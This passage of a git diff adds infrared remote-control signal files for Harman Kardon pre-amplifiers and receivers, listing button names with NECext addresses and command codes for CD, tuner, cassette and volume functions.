00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 30 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 30 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 30 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 31 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 31 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 31 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 33 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 35 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 35 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 35 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 36 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 36 00 00 00 +# +name: EZ-MENU +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 39 00 00 00 +# +name: EZMENU +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 39 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 39 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 39 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3A 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3A 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3A 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3B 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3B 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3B 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3E 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3E 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3F 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 4B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 4C 00 00 00 +# +name: DISC_MENU +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 4C 00 00 00 +# +name: D.MENU +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 4C 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 4D 00 00 00 +# +name: V.OFF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 4E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 60 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 61 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 62 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 62 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 63 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 63 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 64 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 64 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 65 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 65 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 66 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 66 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 67 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 67 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 68 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 68 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 69 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 69 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6A 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6A 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6B 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6C 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6E 00 00 00 +# +name: PREAT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6E 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6E 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6F 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6F 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6F 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: 82 72 00 00 +command: B0 00 00 00 +# +name: PLAY_LIST +type: parsed +protocol: NECext +address: 82 72 00 00 +command: B0 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: B3 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: B3 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: B3 00 00 00 +# +name: PIC_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: B4 00 00 00 +# +name: PIC_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: B5 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: BB 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 82 72 00 00 +command: BC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir new file mode 100644 index 000000000..104d70225 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 01 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 02 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 03 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 04 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 05 00 00 00 +# +name: CD_SEARCH_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: CD_SEARCH_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 07 00 00 00 +# +name: CD_REPEAT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0A 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 82 00 00 00 +# +name: TUNING_^ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNING_V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 87 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 88 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 89 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8A 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8B 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8C 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8D 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8E 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8F 00 00 00 +# +name: SEEK +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 91 00 00 00 +# +name: RECEIVER_POWER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C2 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C3 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C4 00 00 00 +# +name: A/V_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C5 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C7 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C8 00 00 00 +# +name: VCR/TAPE_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VCR/TAPE_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: A/V_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir new file mode 100644 index 000000000..3e6043463 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: CASS_PLAY_> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 01 00 00 00 +# +name: CASS_REV_PLAY_< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 02 00 00 00 +# +name: CASS_STOP_[] +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 03 00 00 00 +# +name: CASS_FFWD_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 04 00 00 00 +# +name: CASS_REW_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 05 00 00 00 +# +name: CASS_REC/PAUSE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 06 00 00 00 +# +name: CASS_SKIP_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 08 00 00 00 +# +name: CASS_SKIP_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 09 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir new file mode 100644 index 000000000..198fd52f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir @@ -0,0 +1,1964 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 01 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 01 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 01 00 00 00 +# +name: CD_STOP_(RDS_DISP) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 01 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 01 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 02 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 02 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 02 00 00 00 +# +name: CD_PLAY_(AF) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 02 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 02 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 03 00 00 00 +# +name: CD_PAUSE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 03 00 00 00 +# +name: CD_MUTE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 03 00 00 00 +# +name: CD_REC/PAUSE_(PTY) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 03 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 04 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 04 00 00 00 +# +name: CD_CHAN/SKIP_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 04 00 00 00 +# +name: CD_SKIP_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 04 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 05 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 05 00 00 00 +# +name: CD_CHAN/SKIP_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 05 00 00 00 +# +name: CD_SKIP_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 05 00 00 00 +# +name: CD_SEARCH_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: CD_SEARCH>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: CD_SEARCH>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: CD_SCAN_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: CD_TUNE/SRCH_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: CD_SEARCH_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 07 00 00 00 +# +name: CD_SEARCH<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 07 00 00 00 +# +name: CD_SEARCH<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 07 00 00 00 +# +name: CD_SCAN_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 07 00 00 00 +# +name: CD_TUNE/SRCH_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 07 00 00 00 +# +name: CD_REPEAT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0A 00 00 00 +# +name: CD_A-B +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0B 00 00 00 +# +name: CD_A-B +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0B 00 00 00 +# +name: CD_A_-_B +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0B 00 00 00 +# +name: CD_INTRO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0D 00 00 00 +# +name: CD_INTRO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0D 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0D 00 00 00 +# +name: CD_#_(P-SCAN) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0D 00 00 00 +# +name: CD_*_(MEMO) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0F 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 10 00 00 00 +# +name: CD_1_(ABC) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 11 00 00 00 +# +name: CD_2_(DEF) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 12 00 00 00 +# +name: CD_3_(GHI) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 13 00 00 00 +# +name: CD_4_(JKL) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 14 00 00 00 +# +name: CD_5_(MNO) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 15 00 00 00 +# +name: CD_6_(PQR) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 16 00 00 00 +# +name: CD_7_(STU) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 17 00 00 00 +# +name: CD_8_(VWX) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 18 00 00 00 +# +name: CD_9_(YZ) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 19 00 00 00 +# +name: CD_0 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1A 00 00 00 +# +name: TUNING+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 28 00 00 00 +# +name: TUNING- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 29 00 00 00 +# +name: CD_0_(CLEAR) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 40 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 50 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 50 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 50 00 00 00 +# +name: CD_DISC_SKIP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 50 00 00 00 +# +name: CD_DISC_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 50 00 00 00 +# +name: CD_PRESET_DISC_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 50 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 50 00 00 00 +# +name: CD_SOURCE_POWER_ON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 56 00 00 00 +# +name: CD_ON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 56 00 00 00 +# +name: CD_SOURCE_POWER_OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 57 00 00 00 +# +name: CD_OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 57 00 00 00 +# +name: CD_POWER_OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 57 00 00 00 +# +name: CD_PRESET_DISC_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 5B 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 5B 00 00 00 +# +name: CD_REV_PLAY_<_(FM_M) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 5F 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: IN_AM/FM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: SOURCE_RADIO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: INPUT_AM/FM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 82 00 00 00 +# +name: TUNING_^ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNING_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: AVR30_CH_^ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNING_UP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNE+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNE_^ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNING_UP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNING_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: AM/FM_TUNE/SRCH_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNER_SCAN_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNING_V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNING_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: AVR30_CH_V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNING_DOWN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNE- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNE_V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNING_DOWN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNING_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: AM/FM_TUNE/SRCH_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNER_SCAN_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 86 00 00 00 +# +name: MEM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 86 00 00 00 +# +name: AM/FM_*_(MEMO) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 86 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 87 00 00 00 +# +name: AVR30_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 87 00 00 00 +# +name: DELAY1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 87 00 00 00 +# +name: AM/FM_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 87 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 87 00 00 00 +# +name: AM/FM_1_(ABC) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 87 00 00 00 +# +name: TUNER_PRESET_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 87 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 88 00 00 00 +# +name: AVR30_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 88 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 88 00 00 00 +# +name: AM/FM_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 88 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 88 00 00 00 +# +name: AM/FM_2_(DEF) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 88 00 00 00 +# +name: TUNER_PRESET_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 88 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 89 00 00 00 +# +name: AVR30_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 89 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 89 00 00 00 +# +name: AM/FM_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 89 00 00 00 +# +name: AM/FM_3_(GHI) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 89 00 00 00 +# +name: TUNER_PRESET_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 89 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8A 00 00 00 +# +name: AVR30_4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8A 00 00 00 +# +name: AM/FM_4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8A 00 00 00 +# +name: AM/FM_4_(JKL) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8A 00 00 00 +# +name: TUNER_PRESET_4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8A 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8B 00 00 00 +# +name: AVR30_5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8B 00 00 00 +# +name: AM/FM_5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8B 00 00 00 +# +name: AM/FM_5_(MNO) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8B 00 00 00 +# +name: TUNER_PRESET_5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8B 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8C 00 00 00 +# +name: AVR30_6 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8C 00 00 00 +# +name: AM/FM_6 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8C 00 00 00 +# +name: AM/FM_6_(PQR) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8C 00 00 00 +# +name: TUNER_PRESET_6 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8C 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8D 00 00 00 +# +name: AVR30_7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8D 00 00 00 +# +name: 6CH +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8D 00 00 00 +# +name: AM/FM_7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8D 00 00 00 +# +name: AM/FM_7_(STU) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8D 00 00 00 +# +name: TUNER_PRESET_7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8D 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8E 00 00 00 +# +name: AVR30_8 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8E 00 00 00 +# +name: AM/FM_8 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8E 00 00 00 +# +name: AM/FM_8_(VWX) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8E 00 00 00 +# +name: TUNER_PRESET_8 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8E 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8F 00 00 00 +# +name: AVR30_SHIFT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8F 00 00 00 +# +name: SEEK +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 91 00 00 00 +# +name: SEEK-STEREO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 91 00 00 00 +# +name: TUN-M +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 93 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 93 00 00 00 +# +name: TUNE-M +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 93 00 00 00 +# +name: AM/FM_FM_MODE_(<) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 93 00 00 00 +# +name: P.SCAN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 96 00 00 00 +# +name: PRESET_SCAN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 96 00 00 00 +# +name: TUNER_P.SCAN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 96 00 00 00 +# +name: PRESET_SCAN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 96 00 00 00 +# +name: PSCAN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 96 00 00 00 +# +name: P._SCAN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 96 00 00 00 +# +name: 